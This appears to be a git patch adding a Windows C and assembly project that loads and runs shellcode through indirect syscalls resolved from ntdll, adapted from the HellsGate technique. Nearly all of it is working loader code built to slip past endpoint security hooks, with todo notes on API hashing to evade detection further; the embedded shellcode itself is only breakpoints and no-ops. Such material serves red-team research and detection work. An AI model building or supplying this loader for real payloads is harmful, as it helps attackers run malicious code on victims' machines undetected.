From 9a5944d6b4ee521af12aea9cacedeb104084cb65 Mon Sep 17 00:00:00 2001 From: 0xcf80 <0xcf80> Date: Sat, 13 Jan 2024 20:04:34 +0100 Subject: [PATCH] initial commit --- ShellcodeLoader/ShellCodeLoader.h | 30 +++ ShellcodeLoader/ShellcodeLoader.c | 255 ++++++++++++++++++ ShellcodeLoader/ShellcodeLoader.vcxproj | 145 ++++++++++ .../ShellcodeLoader.vcxproj.filters | 38 +++ ShellcodeLoader/Syscalls.asm | 33 +++ ShellcodeLoader/WinApiReImplementations.c | 18 ++ ShellcodeLoader/WinApiReImplementations.h | 11 + ShellcodeLoader_Indirect_Syscalls.sln | 31 +++ 8 files changed, 561 insertions(+) create mode 100644 ShellcodeLoader/ShellCodeLoader.h create mode 100644 ShellcodeLoader/ShellcodeLoader.c create mode 100644 ShellcodeLoader/ShellcodeLoader.vcxproj create mode 100644 ShellcodeLoader/ShellcodeLoader.vcxproj.filters create mode 100644 ShellcodeLoader/Syscalls.asm create mode 100644 ShellcodeLoader/WinApiReImplementations.c create mode 100644 ShellcodeLoader/WinApiReImplementations.h create mode 100644 ShellcodeLoader_Indirect_Syscalls.sln diff --git a/ShellcodeLoader/ShellCodeLoader.h b/ShellcodeLoader/ShellCodeLoader.h new file mode 100644 index 0000000..5bf8c1e --- /dev/null +++ b/ShellcodeLoader/ShellCodeLoader.h @@ -0,0 +1,30 @@ +#pragma once +# include + +// https://stackoverflow.com/questions/1941307/debug-print-macro-in-c +#define DEBUG + +// Debug statements +#ifdef DEBUG +#define DEBUG_PRINT(...) fprintf( stderr, __VA_ARGS__ ); +#else +#define DEBUG_PRINT(...) do{ } while ( false ) +#endif + +/* +* Structure to hold information about our syscalls +*/ +typedef struct _SYSCALL_INFO_ENTRY { + LPVOID pSyscall; // pointer to syscall instruction + DWORD syscallId; // ID of the syscall + LPCSTR functionHash; // unused atm, for future use +} SYSCALL_INFO_ENTRY, *PSYSCALL_INFO_ENTRY; + +// see populate_syscall_table() for info on how to add more syscalls +typedef struct SYSCALL_INFO_TABLE { + SYSCALL_INFO_ENTRY NtAllocateVirtualMemory; + SYSCALL_INFO_ENTRY NtProtectVirtualMemory; + SYSCALL_INFO_ENTRY NtCreateThreadEx; + SYSCALL_INFO_ENTRY NtWaitForSingleObject; +} SYSCALL_INFO_TABLE, * PSYSCALL_INFO_TABLE; + diff --git a/ShellcodeLoader/ShellcodeLoader.c b/ShellcodeLoader/ShellcodeLoader.c new file mode 100644 index 0000000..94eceaf --- /dev/null +++ b/ShellcodeLoader/ShellcodeLoader.c @@ -0,0 +1,255 @@ +#include +#include + +#include "ShellCodeLoader.h" +#include "WinApiReImplementations.h" + +#pragma comment(linker, "/section:.data,RW")//.data section writable +//#pragma comment(linker, "/section:.data,RWE")//.data section executable + +/* +* Define the functisons from Syscalls.asm. +* These definitions make the PrepareSyscall and DoIndirectSyscall functions accessible to ShellcodeLoader.c. +*/ + +// we pass a DWORD instead of a word (some syscall IDs are 3 Bytes long) +//extern VOID PrepareSyscall(WORD wSystemCall); +extern VOID PrepareSyscall(DWORD wSystemCall, LPVOID pSystemCall); +// to use this without implicit return type, we need to convert from c++ to c +// not sure whether passing an implicit return type would actually work here, as differenct syscalls +// may return different return types (?) +extern DoIndirectSyscall(); + +/* +* Locate syscall information within ntdll +* arg0: base address of ntdll +* arg1: function name to resolve (e.g. NtCreateProcess) -> to be replaced by hash +* arg2: pointer to void*. This will be populated with the address of the syscall instruction for that function +* arg3: pointer to DWORD. This will be populated with the Syscall ID +* return: -1 / ERROR_SUCCESS. +*/ +NTSTATUS resolve_syscall(HMODULE hNtDll, LPCSTR funcName, _Out_ LPVOID *outpSyscall, _Out_ LPDWORD outSyscallId) { + // tbd: Avoid GPA and use API hashes. + // See https://www.ired.team/offensive-security/defense-evasion/windows-api-hashing-in-malware for a copy-paste ready implementation of GPA + LPVOID pProc = (LPVOID)GetProcAddress(hNtDll, funcName); + + if (pProc == NULL) { + DEBUG_PRINT("GetProcAddress failed for %s\n", funcName); + return (NTSTATUS) -1; + } + + DEBUG_PRINT("Function %s at %p\n", funcName, pProc); + /* + 0:000> uf ntdll!NtCreateProcess + ntdll!NtCreateProcess: + 00007ffc`b3e10b10 4c8bd1 mov r10,rcx + 00007ffc`b3e10b13 b8be000000 mov eax,0BEh + 00007ffc`b3e10b18 f604250803fe7f01 test byte ptr [SharedUserData+0x308 (00000000`7ffe0308)],1 + 00007ffc`b3e10b20 7503 jne ntdll!NtCreateProcess+0x15 (00007ffc`b3e10b25) Branch + + ntdll!NtCreateProcess+0x12: + 00007ffc`b3e10b22 0f05 syscall + 00007ffc`b3e10b24 c3 ret + */ + + DWORD syscallId = 0; + PBYTE ptr = (PBYTE)pProc; + // 0x0f05 => syscall + while (TRUE) { + // 0xb8 => mov eax, ... + if (*ptr == 0xb8) { + syscallId = *(DWORD*)(ptr + 1); + } + else if (*ptr == 0x0f) { + if (*(ptr + 1) == 0x05) { + // 0xc3 => ret + if (*(ptr + 2) == 0xc3) { + DEBUG_PRINT("Syscall for %s at %p. ID: %02x\n", funcName, ptr, syscallId); + //return syscallId; + *outSyscallId = syscallId; + *outpSyscall = ptr; + return ERROR_SUCCESS; + } + } + } + ptr++; + if ((ptr - (PBYTE)pProc) == 50) { + DEBUG_PRINT("Could not identify Syscall for %s\n", funcName); + //break; + return (NTSTATUS)-1; + } + } +} + +/* +* populate the SYSCALL_INFO_TABLE by resolving the individual syscall information +* If you'd like to add more syscalls, change the SYSCALL_INFO_TABLE struct within ShellCodeLoader.h and add calls to resolve_syscall as below +* arg0: Base address of ntdll +* arg1: Pointer to SYSCALL_INFO_TABLE struct - This is populated with the actual syscall information +* return: ERROR_SUCCESS (success) or -1 (failure) +*/ + +NTSTATUS populate_syscall_table(HMODULE hNtDll, _Out_ PSYSCALL_INFO_TABLE pSyscallTable) { + LPCSTR funcName = "NtAllocateVirtualMemory"; + NTSTATUS status = (NTSTATUS)-1; + status = resolve_syscall(hNtDll, funcName, &pSyscallTable->NtAllocateVirtualMemory.pSyscall, &pSyscallTable->NtAllocateVirtualMemory.syscallId); + if (status != ERROR_SUCCESS) { + DEBUG_PRINT("Failed to resolve Syscall for %s!", funcName); + return (NTSTATUS)-1; + } + + funcName = "NtProtectVirtualMemory"; + status = resolve_syscall(hNtDll, funcName, &pSyscallTable->NtProtectVirtualMemory.pSyscall, &pSyscallTable->NtProtectVirtualMemory.syscallId); + if (status != ERROR_SUCCESS) { + DEBUG_PRINT("Failed to resolve Syscall for %s!", funcName); + return (NTSTATUS)-1; + } + + funcName = "NtCreateThreadEx"; + status = resolve_syscall(hNtDll, funcName, &pSyscallTable->NtCreateThreadEx.pSyscall, &pSyscallTable->NtCreateThreadEx.syscallId); + if (status != ERROR_SUCCESS) { + DEBUG_PRINT("Failed to resolve Syscall for %s!", funcName); + return (NTSTATUS)-1; + } + + funcName = "NtWaitForSingleObject"; + status = resolve_syscall(hNtDll, funcName, &pSyscallTable->NtWaitForSingleObject.pSyscall, &pSyscallTable->NtWaitForSingleObject.syscallId); + if (status != ERROR_SUCCESS) { + DEBUG_PRINT("Failed to resolve Syscall for %s!", funcName); + return (NTSTATUS)-1; + } + + return ERROR_SUCCESS; + +} + +/* +* Execute shellcode using indirect syscalls (copied from https://github.com/am0nsec/HellsGate/blob/master/HellsGate/main.c#L166) +* arg0: pointer to syscall table. The syscallId and pSyscall members are used in PrepareSyscall +* arg1: shellcode +* return: ERROR_SUCCESS (success) / -1 (failure) +* Call stack: +* * NtAllocateVirutalMemory +* * memcpy (basically) +* * NtProtectVirtualMemory +* * NtCreateThreadEx +* * NtWaitForSingleObject +*/ +NTSTATUS execute_shellcode_create_thread(PSYSCALL_INFO_TABLE pSyscallTable, const CHAR shellcode[], size_t shellcode_len) { + NTSTATUS status = 0x00000000; + DEBUG_PRINT("Executing shellcode\n"); + + // Allocate memory for the shellcode + PVOID lpAddress = NULL; + SIZE_T sDataSize = shellcode_len; + PrepareSyscall(pSyscallTable->NtAllocateVirtualMemory.syscallId, pSyscallTable->NtAllocateVirtualMemory.pSyscall); + status = DoIndirectSyscall((HANDLE)-1, &lpAddress, 0, &sDataSize, MEM_COMMIT, PAGE_READWRITE); + + if (status != ERROR_SUCCESS) { + DEBUG_PRINT("NtAllocateVirtualMemory failed!"); + return (NTSTATUS)-1; + } + + DEBUG_PRINT("Allocated memory at %p\n", lpAddress); + + // Write shellcodde + MoveMemoryReImpl(lpAddress, shellcode, shellcode_len); + + // make page executable + ULONG ulOldProtect = 0; + PrepareSyscall(pSyscallTable->NtProtectVirtualMemory.syscallId, pSyscallTable->NtProtectVirtualMemory.pSyscall); + status = DoIndirectSyscall((HANDLE)-1, &lpAddress, &sDataSize, PAGE_EXECUTE_READ, &ulOldProtect); + + if (status != ERROR_SUCCESS) { + DEBUG_PRINT("NtProtectVrirtualMemory failed!"); + return (NTSTATUS)-1; + } + + DEBUG_PRINT("NtProtectVrirtualMemory success!\n"); + + // Create thread + HANDLE hHostThread = INVALID_HANDLE_VALUE; + PrepareSyscall(pSyscallTable->NtCreateThreadEx.syscallId, pSyscallTable->NtCreateThreadEx.pSyscall); + status = DoIndirectSyscall(&hHostThread, 0x1FFFFF, NULL, (HANDLE)-1, (LPTHREAD_START_ROUTINE)lpAddress, NULL, FALSE, NULL, NULL, NULL, NULL); + + if (status != ERROR_SUCCESS) { + DEBUG_PRINT("NtCreateThreadEx failed!"); + return (NTSTATUS)-1; + } + + DEBUG_PRINT("NtCreateThreadEx success. hThread: %p\n", hHostThread); + + // Wait for 1 second & execute + LARGE_INTEGER Timeout; + Timeout.QuadPart = -10000000; + PrepareSyscall(pSyscallTable->NtWaitForSingleObject.syscallId, pSyscallTable->NtWaitForSingleObject.pSyscall); + status = DoIndirectSyscall(hHostThread, FALSE, &Timeout); + + if (status != ERROR_SUCCESS) { + DEBUG_PRINT("NtWaitForSingleObject Failed!"); + return (NTSTATUS)-1; + } + + DEBUG_PRINT("NtWaitForSingleObject success.\n"); + + return ERROR_SUCCESS; +} + +// Entrypoint +int main() +{ + // todo: resolve ntdll from peb + HMODULE hNtDll = GetModuleHandle(L"ntdll.dll"); + if (hNtDll == NULL) { + DEBUG_PRINT("GetModuleHandle failed for ntdll!\n"); + return -1; + } + + DEBUG_PRINT("NtDll mapped to %p\n", hNtDll); + // https://devblogs.microsoft.com/oldnewthing/20110921-00/?p=9583 + // introduced MOV EDI, EDI just to make the shellcode more distinguashalble from NOP only + // \w this shellcode, VisualStudio should throw an error as "A breakpoint instruction (__debugbreak() statement or a similar call) was executed in ShellcodeLoader.exe." when debugging + // In the Disassembly window, click "View" to check that the shellcode has been copied correctly. It should look similar to the following: + // 000001C029970000 int 3 + // 000001C029970001 nop + // 000001C029970002 mov edi, edi + // 000001C029970004 nop + // 000001C029970005 mov edi, edi + // 000001C029970007 int 3 + // 000001C029970008 int 3 + // 000001C029970009 int 3 + // 000001C02997000A int 3 + const CHAR shellcode[] = { + 0xcc, // INT3 + 0x90, // NOP + 0x8b, 0xff, // MOV EDI, EDI + 0x90, // NOP + 0x8b, 0xff, // MOV EDI, EDI + 0xcc, // INT3 + 0xcc, // INT3 + 0xcc, // INT3 + 0xcc // INT3 + }; + + DEBUG_PRINT("sizeof shellcode: %d\n", (int)sizeof(shellcode)); + + SYSCALL_INFO_TABLE syscalls = { 0 }; + + NTSTATUS status = populate_syscall_table(hNtDll, &syscalls); + + if (status != ERROR_SUCCESS) { + DEBUG_PRINT("Error populating Syscall table!\n"); + return -1; + } + + status = execute_shellcode_create_thread(&syscalls, shellcode, sizeof(shellcode)); + + if (status != ERROR_SUCCESS) { + DEBUG_PRINT("Error executing shellcode!\n"); + return -1; + } + + DEBUG_PRINT("YAY"); + return ERROR_SUCCESS; +} + diff --git a/ShellcodeLoader/ShellcodeLoader.vcxproj b/ShellcodeLoader/ShellcodeLoader.vcxproj new file mode 100644 index 0000000..ad52cdb --- /dev/null +++ b/ShellcodeLoader/ShellcodeLoader.vcxproj @@ -0,0 +1,145 @@ + + + + + Debug + Win32 + + + Release + Win32 + + + Debug + x64 + + + Release + x64 + + + + 17.0 + Win32Proj + {3cc1956c-eea3-41e7-b03f-49d4d3b01d8e} + ShellcodeLoader + 10.0 + + + + Application + true + v143 + Unicode + + + Application + false + v143 + true + Unicode + + + Application + true + v143 + Unicode + + + Application + false + v143 + true + Unicode + + + + + + + + + + + + + + + + + + + + + + + Level3 + true + WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions) + true + + + Console + true + + + + + Level3 + true + true + true + WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions) + true + + + Console + true + true + true + + + + + Level3 + true + _DEBUG;_CONSOLE;%(PreprocessorDefinitions) + true + + + Console + true + + + + + Level3 + true + true + true + NDEBUG;_CONSOLE;%(PreprocessorDefinitions) + true + + + Console + true + true + true + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/ShellcodeLoader/ShellcodeLoader.vcxproj.filters b/ShellcodeLoader/ShellcodeLoader.vcxproj.filters new file mode 100644 index 0000000..6ad4314 --- /dev/null +++ b/ShellcodeLoader/ShellcodeLoader.vcxproj.filters @@ -0,0 +1,38 @@ + + + + + {4FC737F1-C7A5-4376-A066-2A32D752A2FF} + cpp;c;cc;cxx;c++;cppm;ixx;def;odl;idl;hpj;bat;asm;asmx + + + {93995380-89BD-4b04-88EB-625FBE52EBFB} + h;hh;hpp;hxx;h++;hm;inl;inc;ipp;xsd + + + {67DA6AB6-F800-4c08-8B7A-83BB121AAD01} + rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms + + + + + Source Files + + + Source Files + + + + + Header Files + + + Header Files + + + + + Source Files + + + \ No newline at end of file diff --git a/ShellcodeLoader/Syscalls.asm b/ShellcodeLoader/Syscalls.asm new file mode 100644 index 0000000..1e4a068 --- /dev/null +++ b/ShellcodeLoader/Syscalls.asm @@ -0,0 +1,33 @@ +; Based on: https://github.com/am0nsec/HellsGate/blob/master/HellsGate/hellsgate.asm +; But use indirect instead of direct syscalls + + +.data + wSystemCall DWORD 000h + ; LPVOID not valid in asm context + pSyscall QWORD 0h + +.code + ; save the systemcall into variable (.data) + ; arg0: Syscall ID + ; arg1: pointer to syscall instruction + ; see https://en.wikipedia.org/wiki/X86_calling_conventions#x86-64_calling_conventions + PrepareSyscall PROC + mov wSystemCall, 000h + ; DWORD + mov wSystemCall, ecx + mov pSyscall, 000h + ; Pointer + mov pSyscall, rdx + ret + PrepareSyscall ENDP + + ; execute syscall + DoIndirectSyscall PROC + mov r10, rcx + mov eax, wSystemCall + ; https://github.com/VirtualAlllocEx/Direct-Syscalls-vs-Indirect-Syscalls/blob/main/CT_Indirect_Syscalls/CT_Indirect_Syscalls/syscalls.asm#L19C5-L19C51 + jmp QWORD PTR [pSyscall] + + DoIndirectSyscall ENDP +end \ No newline at end of file diff --git a/ShellcodeLoader/WinApiReImplementations.c b/ShellcodeLoader/WinApiReImplementations.c new file mode 100644 index 0000000..5d5b42c --- /dev/null +++ b/ShellcodeLoader/WinApiReImplementations.c @@ -0,0 +1,18 @@ +#include + + +// stolen from: https://github.com/am0nsec/HellsGate/blob/master/HellsGate/main.c#L198C1-L211C2 +PVOID MoveMemoryReImpl(PVOID dest, const PVOID src, SIZE_T len) { + char* d = dest; + const char* s = src; + if (d < s) + while (len--) + *d++ = *s++; + else { + char* lasts = s + (len - 1); + char* lastd = d + (len - 1); + while (len--) + *lastd-- = *lasts--; + } + return dest; +} \ No newline at end of file diff --git a/ShellcodeLoader/WinApiReImplementations.h b/ShellcodeLoader/WinApiReImplementations.h new file mode 100644 index 0000000..b93c656 --- /dev/null +++ b/ShellcodeLoader/WinApiReImplementations.h @@ -0,0 +1,11 @@ +#pragma once +#include + +/* +* Todo: +* * GetProcAddressByHash +* * GetModuleHandleByHash +* * GetPEB +*/ + +PVOID MoveMemoryReImpl(PVOID dest, const PVOID src, SIZE_T len); \ No newline at end of file diff --git a/ShellcodeLoader_Indirect_Syscalls.sln b/ShellcodeLoader_Indirect_Syscalls.sln new file mode 100644 index 0000000..5b8bebd --- /dev/null +++ b/ShellcodeLoader_Indirect_Syscalls.sln @@ -0,0 +1,31 @@ + +Microsoft Visual Studio Solution File, Format Version 12.00 +# Visual Studio Version 17 +VisualStudioVersion = 17.8.34330.188 +MinimumVisualStudioVersion = 10.0.40219.1 +Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "ShellcodeLoader", "ShellcodeLoader\ShellcodeLoader.vcxproj", "{3CC1956C-EEA3-41E7-B03F-49D4D3B01D8E}" +EndProject +Global + GlobalSection(SolutionConfigurationPlatforms) = preSolution + Debug|x64 = Debug|x64 + Debug|x86 = Debug|x86 + Release|x64 = Release|x64 + Release|x86 = Release|x86 + EndGlobalSection + GlobalSection(ProjectConfigurationPlatforms) = postSolution + {3CC1956C-EEA3-41E7-B03F-49D4D3B01D8E}.Debug|x64.ActiveCfg = Debug|x64 + {3CC1956C-EEA3-41E7-B03F-49D4D3B01D8E}.Debug|x64.Build.0 = Debug|x64 + {3CC1956C-EEA3-41E7-B03F-49D4D3B01D8E}.Debug|x86.ActiveCfg = Debug|Win32 + {3CC1956C-EEA3-41E7-B03F-49D4D3B01D8E}.Debug|x86.Build.0 = Debug|Win32 + {3CC1956C-EEA3-41E7-B03F-49D4D3B01D8E}.Release|x64.ActiveCfg = Release|x64 + {3CC1956C-EEA3-41E7-B03F-49D4D3B01D8E}.Release|x64.Build.0 = Release|x64 + {3CC1956C-EEA3-41E7-B03F-49D4D3B01D8E}.Release|x86.ActiveCfg = Release|Win32 + {3CC1956C-EEA3-41E7-B03F-49D4D3B01D8E}.Release|x86.Build.0 = Release|Win32 + EndGlobalSection + GlobalSection(SolutionProperties) = preSolution + HideSolutionNode = FALSE + EndGlobalSection + GlobalSection(ExtensibilityGlobals) = postSolution + SolutionGuid = {2BA0C2B6-8A84-41A7-8DD1-E8E68C27EC2F} + EndGlobalSection +EndGlobal